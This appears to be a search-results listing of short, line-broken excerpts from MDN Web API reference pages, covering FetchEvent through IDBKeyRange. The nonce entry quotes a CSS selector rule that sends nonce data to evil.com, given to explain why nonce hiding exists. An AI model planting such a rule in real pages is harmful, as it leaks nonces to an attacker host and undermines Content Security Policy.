... browser compatibility the compatibility table in this page is generated
from structured data.
FetchEvent.navigationPreload - Web APIs
addeventlistener('fetch', event => { event.respondwith(async function() { // respond
from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... browser compatibility the compatibility table on this page is generated
from structured data.
FetchEvent.replacesClientId - Web APIs
for example, when navigating
from page a to page b replacesclientid is the id of the client associated with page a.
... it can be an empty string when navigating
from about:blank to another page, as about:blank's client will be reused, rather than be replaced.
File.lastModified - Web APIs
example reading
from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try...
...if it is missing, lastmodified inherits the current time
from date.now() at the moment the file object gets created.
FileEntrySync - Web APIs
inherits
from: entrysync about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... browser compatibility the compatibility table on this page is generated
from structured data.
FileReader.readAsDataURL() - Web APIs
to retrieve only the base64 encoded string, first remove data:*/*;base64,
from the result.
... syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file
from which to read.
FileReader.result - Web APIs
readasbinarystring() the result contains the raw binary data
from the file in a string.
... example this example presents a function, read(), which reads a file
from a file input.
FileReaderSync.readAsArrayBuffer() - Web APIs
securityerror is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use
from the web (like it is a system file).
... browser compatibility the compatibility table on this page is generated
from structured data.
FileReaderSync.readAsBinaryString() - Web APIs
securityerror is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use
from the web (like it is a system file).
... browser compatibility the compatibility table on this page is generated
from structured data.
FileReaderSync.readAsDataURL() - Web APIs
securityerror is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use
from the web (like it is a system file).
... browser compatibility the compatibility table on this page is generated
from structured data.
FileReaderSync.readAsText() - Web APIs
securityerror is raised when one of the following problematic situation is detected: the resource has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use
from the web (like it is a system file).
... browser compatibility the compatibility table on this page is generated
from structured data.
FileRequest - Web APIs
properties filerequest.lockedfile read only the lockedfile object
from which the request was started.
... the filerequest interface also inherits
from the domrequest interface.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
possible reasons include: the directory and/or its contents may not be safe to access
from a web application.
... example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred while removing the directory */ }); browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemEntry.fullPath - Web APIs
the read-only fullpath property of the filesystementry interface returns a usvstring specifying the full, absolute path
from the file system's root to the file represented by the entry.
... browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemEntry.getParent() - Web APIs
this can happen, for example, if the file system's cached state differs
from the actual state of the file system.
... browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemEntry.remove() - Web APIs
the filesystementry interface's method remove() deletes the file or directory
from the file system.
... workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemFileEntry.file() - Web APIs
the filesystemfileentry interface's method file() returns a file object which can be used to read data
from the file represented by the directory entry.
... browser compatibility the compatibility table on this page is generated
from structured data.
File and Directory Entries API - Web APIs
asynchronous api the asynchronous api should be used for most operations, to prevent file system accesses
from blocking the entire browser if used on the main thread.
...the interfaces below otherwise mirror the ones
from the asynchronous api.
FocusEvent() - Web APIs
syntax var focusevent = new focusevent(typearg[, focuseventinit]); properties the focusevent() constructor also inherits arguments
from uievent() and
from event().
... the focuseventinit dictionary also accepts fields
from the uieventinit and eventinit dictionaries.
FocusEvent - Web APIs
properties this interface also inherits properties
from its parent uievent, and indirectly
from event.
...it inherits methods
from its parent uievent, and indirectly
from event.
FontFace - Web APIs
constructor fontface() constructs and returns a new fontface object, built
from an external resource described by an url or
from an arraybuffer.
... fontface.featuresettings a cssomstring that retrieves or sets in
frequently used font features that are not available
from a font's variant properties.
FontFaceSet - Web APIs
fontfaceset.clear() removes all manually-added fonts
from the font set.
... fontfaceset.delete() removes a manually-added font
from the font set.
FormData.delete() - Web APIs
the delete() method of the formdata interface deletes a key and its value(s)
from a formdata object.
... example the following line creates an empty formdata object and prepopulates it with key/value pairs
from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
GainNode() - Web APIs
syntax var gainnode = new gainnode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
... browser compatibility the compatibility table on this page is generated
from structured data.
Using the Geolocation API - Web APIs
this object allows you to specify whether to enable high accuracy, a maximum age for the returned position value (up until this age it will be cached and reused if the same position is requested again; after this the browser will request
fresh position data), and a timeout value that dictates how long the browser should attempt to get the position data for, before it times out.
...hence many geolocation success callbacks look fairly simple: function success(position) { const latitude = position.coords.latitude; const longitude = position.coords.longitude; // do something with your latitude and longitude } you can however get a number of other bits of information
from a geolocationcoordinates object, including altitude, speed, what direction the device is facing, and an accuracy measure of the altitude, longitude, and latitude data.
GeometryUtils - Web APIs
methods geometryutils.getboxquads() returns a list of domquad objects representing the css
fragments of the node.
... geometryutils.convertquad
fromnode() fixme: needs a description geometryutils.convertrect
fromnode() fixme: needs a description geometryutils.convertpoint
fromnode() fixme: needs a description specifications specification status comment css object model (cssom) view modulethe definition of 'geometryutils' in that specification.
GestureEvent - Web APIs
gestureevent derives
from uievent, which in turn derives
from event.
... browser compatibility the compatibility table on this page is generated
from structured data.
GlobalEventHandlers.onanimationcancel - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's key
frames are described next, plotting a course
from the top-left corner of the content box to the bottom-right corner.
... @key
frames slidebox {
from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide back and forth between the two corners until stopped or the page is closed.
GlobalEventHandlers.onanimationiteration - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's key
frames are defined next; they describe an animation which causes the box to migrate
from the top-left corner of the container to the bottom-right corner.
... @key
frames slidebox {
from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } javascript some javascript code will need to be written to handle the click on the button to start the next iteration.
GlobalEventHandlers.oncontextmenu - Web APIs
examples disabling context menus this snippet prevents context menus
from opening in the window.
... html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @key
frames spin {
from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript func...
GlobalEventHandlers.onkeypress - Web APIs
html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.
fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
...*/ alert("yesss!!!"); location.assign("https://developer.mozilla.org/"); } return true; }; })(); note: a more complete
framework for capturing the typing of hidden words is available on github.
GlobalEventHandlers.onload - Web APIs
at this point, all of the objects in the document are in the dom, and all the images, scripts, links and sub-
frames have finished loading.
... there are also dom events like domcontentloaded and dom
framecontentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading.
HTMLAnchorElement.referrerPolicy - Web APIs
"unsafe-url" meaning that the referrer will include the origin and the path (but not the
fragment, password, or username).
... browser compatibility the compatibility table on this page is generated
from structured data.
HTMLAnchorElement.rel - Web APIs
living standard no change
from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLAreaElement.referrerPolicy - Web APIs
"unsafe-url" meaning that the referrer will include the origin and the path (but not the
fragment, password, or username).
... browser compatibility the compatibility table on this page is generated
from structured data.
Audio() - Web APIs
return value a new htmlaudioelement object, configured to be used for playing back the audio
from the file specified by url.the new object's preload property is set to auto and its src property is set to the specified url or null if no url is given.
... the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed
from memory by the javascript runtime's garbage collection mechanism if playback is currently underway.
HTMLCanvasElement.mozGetAsFile() - Web APIs
examples this example creates an image file
from the <canvas> element on the page, then uses a filereader to read the image data
from the file.
... html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object
from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method.
HTMLCanvasElement.toBlob() - Web APIs
exceptions securityerror the canvas's bitmap is not origin clean; at least some of its contents come
from secure examples getting a file representing the canvas once you have drawn content into a canvas, you can convert it into a file of any supported image format.
...windows xp doesn't support converting
from png to ico, so it uses bmp instead.
HTMLDataElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLDataListElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldatalistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement htmldatalistelement.options read only is a htmlcollection representing a collection of the contained option elements.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLDetailsElement - Web APIs
target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLElement: animationend event - Web APIs
if the animation aborts before reaching completion, such as if the element is removed
from the dom or the animation is removed
from the element, the animationend event is not fired.
...our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } @key
frames slidein {
from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlisten...
HTMLElement.hidden - Web APIs
this is quite different
from using the css property display to control the visibility of an element.
... syntax ishidden = htmlelement.hidden; htmlelement.hidden = true | false; value a boolean which is true if the element is hidden
from view; otherwise, the value is false.
inert - Web APIs
the boolean inert attribute, when present, may make the browser "ignore" the element
from assistive technologies, page search and text selection.
... according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user
from selecting text in that node.
HTMLElement.isContentEditable - Web APIs
living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'htmlelement.contenteditable' in that specification.
HTMLElement.offsetLeft - Web APIs
however, for inline-level elements (such as span) that can wrap
from one line to the next, offsettop and offsetleft describe the positions of the first border box (use element.getclientrects() to get its width and height), while offsetwidth and offsetheight describe the dimensions of the bounding border box (use element.getboundingclientrect() to get its position).
... syntax left = element.offsetleft; left is an integer representing the offset to the left in pixels
from the closest relatively positioned parent element.
HTMLElement: pointercancel event - Web APIs
this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus
from accidentally triggering events.
... the touch-action css property prevents the input
from continuing.
HTMLElement.title - Web APIs
living standard no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLEmbedElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlembedelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLFormControlsCollection - Web APIs
this interface replaces one method
from htmlcollection, on which it is based.
...note that this version of nameditem() hide the one inherited
from htmlcollection.
HTMLFormElement.target - Web APIs
the target property of the htmlformelement interface represents the target of the form's action (i.e., the
frame in which to render its output).
... syntax string = htmlformelement.target htmlformelement.target = string example myform.target = document.
frames[1].name; specifications specification status comment html living standardthe definition of 'htmlformelement: target' in that specification.
HTMLHtmlElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhtmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
srcdoc - Web APIs
the srcdoc property of the htmli
frameelement specifies the content of the page.
... examples var i
frame = document.createelement("i
frame"); i
frame.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(i
frame); specifications specification status comment html living standardthe definition of 'htmli
frameelement: srcdoc' in that specification.
HTMLImageElement.referrerPolicy - Web APIs
"unsafe-url" meaning that the referrer will include the origin and the path (but not the
fragment, password, or username).
... browser compatibility the compatibility table on this page is generated
from structured data.
HTMLLinkElement.rel - Web APIs
living standard no change
from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLMediaElement.audioTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed
from the media element, the list's contents change dynamically.
... living standard no change
from html5 html5the definition of 'htmlmediaelement.audiotracks' in that specification.
HTMLMediaElement.autoplay - Web APIs
note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video
from playing without permission or in the background.
... living standard no change
from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification.
HTMLMediaElement.currentTime - Web APIs
for media without a known duration—such as media being streamed live—it's possible that the browser may not be able to obtain parts of the media that have expired
from the media buffer.
... living standard no change
from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification.
HTMLMediaElement.onencrypted - Web APIs
this interface inherits
from the extendableevent interface.
... browser compatibility the compatibility table on this page is generated
from structured data.
HTMLMediaElement.readyState - Web APIs
have_current_data 2 data is available for the current playback position, but not enough to actually play more than one
frame.
... have_future_data 3 data for the current playback position as well as for at least a little bit of time into the future is available (in other words, at least two
frames of video, for example).
HTMLMediaElement.src - Web APIs
note: the best way to know the url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource
from a list provided in an htmlsourceelement (which represents a <source> element).
... living standard no change
from html5 html5the definition of 'htmlmediaelement.src' in that specification.
HTMLMediaElement.videoTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed
from the media element, the list's contents change dynamically.
... living standard no change
from html5 ...
HTMLMenuElement - Web APIs
idth="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties
from: htmlelementmethodsthis interface has no methods, but inherits methods
from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
... living standard no change
from latest snapshot, unknown html 5.2the definition of 'htmlmenuelement' in that specification.
HTMLMeterElement - Web APIs
="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmeterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties
from its parent, htmlelement.
... methods this interface does not implement any specific methods but inherits methods
from its parent, htmlelement.
HTMLOptionElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods inherits methods
from its parent, htmlelement.
HTMLOptionsCollection - Web APIs
the htmloptionscollection interface represents a collection of <option> html elements (in document order) and offers methods and properties for selecting
from the list as well as optionally altering its items.
...you can either remove options
from the end by lowering the value, or add blank options at the end by raising the value.
HTMLElement.blur() - Web APIs
the htmlelement.blur() method removes keyboard focus
from the current element.
... syntax element.blur(); examples remove focus
from a text input html <input type="text" id="mytext" value="sample text"> <br><br> <button type="button" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html living standardthe definition of 'blur' in that specification.
HTMLOrForeignElement.dataset - Web APIs
living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.dataset' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'htmlelement.dataset' in that specification.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data
from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
HTMLPictureElement - Web APIs
="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpictureelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property, but inherits properties
from its parent, htmlelement.
... methods no specific method, but inherits methods
from its parent, htmlelement.
HTMLProgressElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlprogresselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
HTMLScriptElement.referrerPolicy - Web APIs
this policy will leak origins and paths
from tls-protected resources to insecure origins.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
HTMLSelectElement.remove() - Web APIs
the htmlselectelement.remove() method removes the element at the specified index
from the options collection for this select element.
... syntax collection.remove(index); parameters index is a long for the index of the htmloptionelement to remove
from the collection.
HTMLSourceElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlsourceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLTemplateElement.content - Web APIs
the htmltemplateelement.content property returns a <template> element's template contents (a document
fragment).
... syntax var document
fragment = templateelement.content example var templateelement = document.queryselector("#foo"); var document
fragment = templateelement.content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
HTMLTrackElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltrackelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HashChangeEvent.oldURL - Web APIs
the oldurl read-only property of the hashchangeevent interface returns the previous url
from which the window was navigated.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed
from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
Headers() - Web APIs
in the last case, the new headers object inherits its data
from the existing headers object.
...: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it
from the first headers object specifications specification status comment fetchthe definition of 'headers()' in that specification.
Headers.delete() - Web APIs
the delete() method of the headers interface deletes a header
from the current headers object.
... syntax myheaders.delete(name); parameters name the name of the http header you want to delete
from the headers object.
History.back() - Web APIs
living standard no change
from html5.
... browser compatibility the compatibility table on this page is generated
from structured data.
History.forward() - Web APIs
living standard no change
from html5.
... browser compatibility the compatibility table on this page is generated
from structured data.
History.go() - Web APIs
the history.go() method loads a specific page
from the session history.
... living standard no change
from html5.
History.pushState() - Web APIs
note that pushstate() never causes a hashchange event to be fired, even if the new url differs
from the old url only in its hash.
... living standard no change
from html5.
History - Web APIs
the history interface allows manipulation of the browser session history, that is the pages visited in the tab or
frame that the current page is loaded in.
... go() asynchronously loads a page
from the session history, identified by its relative location to the current page, for example -1 for the previous page or 1 for the next page.
Working with the History API - Web APIs
here too, going back doesn't change the document's contents
from what they were in the previous step, although the document might update its contents manually upon receiving the popstate event.
... note that pushstate() never causes a hashchange event to be fired, even if the new url differs
from the old url only in its hash.
IDBCursor.request - Web APIs
examples when you open a cursor, the request property is then available on that cursor object, to tell you what request object the cursor originated
from.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor - Web APIs
examples in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
IDBCursorSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
IDBCursorWithValue.value - Web APIs
also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabase.createObjectStore() - Web APIs
exceptions this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called
from a versionchange transaction callback.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabase.deleteObjectStore() - Web APIs
exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called
from a versionchange transaction callback.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabase.onerror - Web APIs
note: consider using idbopendbrequest.onsuccess instead (see idbrequest.onsuccess, where it is inherited
from).
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabase - Web APIs
methods inherits
from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabaseException - Web APIs
obsolete: this interface was removed
from the specification and was replaced by usage of domexception.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabaseSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
IDBEnvironmentSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
databases - Web APIs
exceptions this method may raise a domexception of the following types: attribute description securityerror the method is called
from an opaque origin.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBFactorySync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
IDBIndex.count() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.get() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.getKey() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.keyPath - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.multiEntry - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.name - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.objectStore - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.openCursor() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.openKeyCursor() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBIndex.unique - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.bound() - Web APIs
, "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'bound()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.lower - Web APIs
lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lower' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.lowerBound() - Web APIs
d("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lowerbound()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.lowerOpen - Web APIs
ropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'loweropen' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
